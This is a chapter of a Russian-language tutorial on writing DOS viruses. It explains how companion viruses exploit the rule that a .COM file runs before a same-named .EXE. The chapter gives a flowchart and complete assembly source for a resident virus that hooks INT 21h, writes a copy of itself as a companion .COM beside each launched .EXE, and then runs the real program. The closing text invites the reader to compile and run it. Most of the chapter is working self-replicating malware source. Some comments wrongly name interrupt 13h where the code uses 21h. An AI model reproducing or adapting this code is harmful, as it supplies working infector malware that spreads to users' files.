гл.11 СОЗДАНИЕ ПРИМИТИВНЕЙШЕГО ВИРУСА-СПУТНИКА ДЛЯ ЕХЕ-ФАЙЛОВ
(чисто для закрепления материала; здесь почти нет ничего нового)
============================================================================
Очень короткая глава. Все очень-очень легко.
Предположим у Вас существует два файла с одинаковым именем, но разными
расширениями ЕХЕ- и СОМ-. Например tetris.com и tetris.exe. И Вы набрали в
командной строке просто tetris -- без расширения; -- какой из файлов будет
запущен? Оказываемся tetris.com.
Благодаря этой особенности возможно создание особого класса вирусов, --
вирусов-спутников. Вирусы-спутники -- самые безвредные вирусы, ибо они СОВЕР-
ШЕННО не изменяют заражаемый файл. Все очень просто: обнаружив ЕХЕ-файл, ви-
рус создает одноименный файл с расширением .СОМ и записывает туда свой код. В
следующий раз если "зараженный" ЕХЕ-файл будет запущен без указания расшире-
ния, то на самом деле запустится вирус. Вирус, сделав то, что ему предписано,
в свою очередь, запустит ЕХЕ-файл.
Вот какой может быть блок/схема такого вируса:
-----------------------¬
------------------------+ JMP to_initialization¦
¦ L-----------------------
¦
¦ _/РЕЗИДЕНТНАЯ ЧАТСТЬ\_
¦ INT 21h ------------------------------------------¬
¦ ¦ ¦ а функция ли это N 4Bh? если нет -- ¦
¦ L----->¦ сваливаем на IRET-----------------------¬
¦ L------------------T----------------------- ¦
¦ -------------------+----------------------¬ ¦
¦ ¦перетащить имя запускаемой программы ¦ ¦
¦ ¦в буфер ¦ ¦
¦ L------------------T----------------------- ¦
¦ -------------------+----------------------¬ ¦
¦ ¦поиск такого же файла но с расшир-ем .СОМ¦ ¦
¦ ¦(если он существует -- прекращаем работу---->
¦ L------------------T----------------------- ¦
¦ -------------------+----------------------¬ ¦
¦ ¦если файла нет - создать его и записать в¦ ¦
¦ ¦него свой код ¦ ¦
¦ L------------------T----------------------- ¦
¦ -------------------+----------------------¬ ¦
¦ ¦ закрыть файл ¦ ¦
¦ L------------T--------------T-------------- ¦
¦ ¦ IRET ¦<----------------
¦ L---------------
¦
¦ ------------------------------------------¬
L-------------->¦сажаем резидент в МСВ-блок ¦
L------------------T-----------------------
-------------------+----------------------¬
¦запускаем "зараженный" ЕХЕ-файл ¦
L------------------------------------------
В программе, реализующей эту блок/схему будет использована функция EXEC.
Если вирус обнаруживает, что у него есть абсолютный тезка, - он не создает
СОМ-файл, иначе это может привести к потере исходной СОМ-программы (совсем не
обязательно это должна быть копия вируса, уже заразившая ЕХЕ-файл).
Похоже что нижеприведенная программа в коментариях не нуждается:
-----------------------------------------------------------¬
¦ пример 18 ¦:
L-----------------------------------------------------------
TITLE Это - COM. программа N18 -- наипримитивнейший вирус-спутник
ASSUME CS:CodeSegment
;-------------------------------------------------------------------------
CodeSegment SEGMENT PARA
ORG(100h)
Start:
MainProcedure PROC NEAR
;
;
my_head: JMP initial
;
;
f_number: DW 0 ;----данные-----------------------¬
; ; ¦
; ;хранилище для адреса стандартного¦
saved_int21: DD 0 ; обработчика прерывания 13 ¦
; ; (2 слова) ¦
; ; ¦
; ;блок параметров EXEC процесса --¬¦
exec_EPB DW 0 ; сегментный адрес строки вызовদ
DW 80h ;-Tуказатель на командн. строку ¦¦
DW 0 ;-- в PSP PSP:80h ¦¦
DW 5Ch ;-Tуказатель на блок FCB1 ¦¦
DW 0 ;-- в PSP PSP:5Ch ¦¦
DW 6Ch ;-Tуказатель на блок FCB2 ¦¦
DW 0 ;-- в PSP PSP:6Ch ---------------¦
; ;----------------------------------
;
;------процедура обработки прерывания 21h, функция 4Bh--¬
;L----------------------------------------------(EXEC)---
int21_treater:CMP AH,4Bh
JE begin
JMP retro
begin: PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH ES
PUSH DI
PUSH SI
;------пересылка имени запускаемого ЕХЕ-файла в буфер---¬
;L--------------------(имя передается в DS:DX (ASCIIZ))--
MOV DI,DX
XOR SI,SI
again: MOV AL,byte ptr DS:[DI]
MOV byte ptr CS:[SI+buffer-100h ],AL
MOV byte ptr CS:[SI+buffer-100h+30h],AL ;дублирование
INC DI ;имени в буфе-
INC SI ;ре
CMP AL,0
JNE again
;
;
;------смотрим, -- ЕХЕ- ли это, и если да -- заменяем---¬
;L----в буфере расширение второй копии имени на СОМ------
CMP word ptr CS:[SI+buffer-3-100h],4D4Fh
JE not_exe
CMP word ptr CS:[SI+buffer-5-100h],432Eh
JE not_exe
MOV word ptr CS:[SI+buffer-3-100h+30h],4D4Fh
MOV byte ptr CS:[SI+buffer-4-100h+30h],43h
;
;
;------смотрим, -- есть ли уже такой файл (с расширением¬
;L-СОМ- и если да -- прекращаем работу-------------------
PUSH CS
POP DS
MOV AH,4Eh
MOV DX,OFFSET buffer - 100h + 30h
MOV CX,0
CALL call_int21
JNC not_exe
;
;
;------создать файл-------------------------------------¬
L-------------------------------------------------------
MOV DX,OFFSET buffer - 100h + 30h ;имя.СОМ из буфера
MOV CX,0 ;нормальный атрибут
MOV AH,3Ch
CALL call_int21
MOV word ptr CS:[f_number-100h],AX
;
;
;------записать в файл свой код-------------------------¬
;L-------------------------------------------------------
PUSH CS
POP ES
MOV BX,AX
MOV DX,OFFSET my_head-100h ;ES:[DX] -- буфер записи
MOV CX,SI ;Tучет длины имени файла
ADD CX,my_end - my_head ;- в буфере
MOV AH,40h
CALL call_int21
;
;
;------закрыть файл-------------------------------------¬
;L-------------------------------------------------------
MOV BX,word ptr CS:[f_number-100h]
MOV AH,3Eh
CALL call_int21
not_exe: POP SI
POP DI
POP ES
POP DS
POP DX
POP CX
POP BX
POP AX
retro: JMP dword ptr CS:[saved_int21-100h]
;
;
call_int21: ;----вызов обработчика прерывания 21h (процедура)----¬
PUSHF ¦
CALL dword ptr CS:[saved_int21-100h] ¦
RET ¦
;L----------------------------------------------------
;
;
;
;
initial: ;------проверка наличия резидентной копии в памяти---¬
;L----------------------------------------------------
MOV AX,40h
MOV ES,AX
CMP byte ptr ES:[134h],55h
JE no_tsr ;если копия есть - то не
MOV byte ptr ES:[134h],55h ; создавать ее
;
;
;------создание резидентной копии в памяти-----------¬
;L----------------------------------------------------
MOV AX,CS:[02] ;берем вершину свободной памяти
; ; (в параграфах)
;
SUB AX,30h ;уменьшаем ее на 20h (в парагр.)
;
MOV SI,OFFSET my_head ;копируем из источника DS:head
MOV ES,AX ;копируем в приемник ES:00; в ES
XOR DI,DI ; - новая вершина своб. памяти
MOV CX,my_end - my_head
CLD
REPE MOVSB
;
MOV BX,DS
DEC BX
MOV DS,BX ;уменьшаем размер МСВ-блока
SUB word ptr DS:[03h],30h ;уменьшаем вершину свободной
SUB word ptr DS:[12h],30h ; памяти
;
XOR BX,BX ; сохраняем старый вектор
MOV DS,BX ; 13h в переслан. копию
MOV AX,DS:[21h*4+0]
MOV word ptr ES:[saved_int21-100h+0],AX
MOV AX,DS:[21h*4+2]
MOV word ptr ES:[saved_int21-100h+2],AX
;
CLI ;кладем в таблицу векторов наш 13
MOV word ptr DS:[21h*4+0],OFFSET int21_treater - 100h ;->OFFSET
MOV word ptr DS:[21h*4+2],ES ;------>SEGMENT
STI
;
;
no_tsr: ;------запуск настоящего ЕХЕ-файла (см ранние примеры)
;L----------------------------------------------------
MOV AX,OFFSET my_end + 200h ;необходимо позаботиться
MOV CX,CS ; о стеке (он должен быть перемещен
CLI ; в охраняемую область, начинающуюся
MOV SS,CX ; следом за кодом процесса-родителя
MOV SP,AX ; и не наследуемую дочерним процессом)
STI
;
MOV AH,4Ah ;необходимо дать место дочернему про-
PUSH CS ; цессу (для этого нужно сжать блок
POP ES ; памяти родителя до граници охраняе-
MOV BX,60h ; мой области (стек+хранилище SS,ES,
INT 21h ; SP); ES-сегмент; BX-длина (в па-
; ; раграфах) охраняемой области)
;
CLI
MOV word ptr CS:[save_arrea+0],SS ;необходимо сохранить
MOV word ptr CS:[save_arrea+2],SP ; значения регистров
MOV word ptr CS:[save_arrea+4],ES ; SS,SP,ES,DS
MOV word ptr CS:[save_arrea+6],DS ;
STI
;
MOV CX,20h ;сохранение DTA----¬
MOV SI,80h ; ¦
MOV DI,OFFSET save_arrea + 8 ; DS:SI ---> ES:DI ¦
CLD ; ¦
REPE MOVSB ;-------------------
;
;
PUSH CS ;необходимо заполнить блок параметров
POP DS ; запускаемого дочернего процесса
MOV AX,CS ; (указываем сегмент. адрес PSP
MOV exec_EPB+4h,AX ; для родительского
MOV exec_EPB+8h,AX ; процесса)
MOV exec_EPB+0Ch,AX ;
MOV DX,OFFSET buffer ;DS:DX адрес ASCIIZ строки имени
MOV BX,OFFSET exec_epb ;ES:BX адрес блока параметров EPB
XOR AL,AL ;код запуска = 0 (EXECUTE)
MOV AH,4Bh
INT 21h
;
;
CLI
MOV SS,word ptr CS:[save_arrea+0] ;восстановление
MOV SP,word ptr CS:[save_arrea+2] ; сохраненных
MOV ES,word ptr CS:[save_arrea+4] ; ранее регистров
MOV DS,word ptr CS:[save_arrea+6]
STI
;
MOV CX,20h ;восстановление DTA¬
MOV DI,80h ; ¦
MOV SI,OFFSET save_arrea + 8 ; ES:DI ---> DS:SI ¦
CLD ; ¦
REPE MOVSB ;-------------------
;
INT 20h ;выход в DOS
buffer: DB '1.EXE',0
my_end: ;
save_arrea: ;
;
MainProcedure ENDP
;
CodeSegment ENDS
END Start
Если Вы решите поиграть с этой программой, - укажите под меткой buffer
имя какого-либо уже существующего файла. Откомпилировав пример 18, Вы полУчи-
те вирус в виде "чистой культуры", не требующей имплантации в заражаемый
файл. Его можно запустить как обычную программу. Но учтите, что здесь описан
упрощенный вариант использвания процедуры EXEC (сегмент среды наследуется от
родительск. процесса и т.д.); поэтому сложные программы, "зараженные" таким
вирусом могут работать не корректно.
Далее
|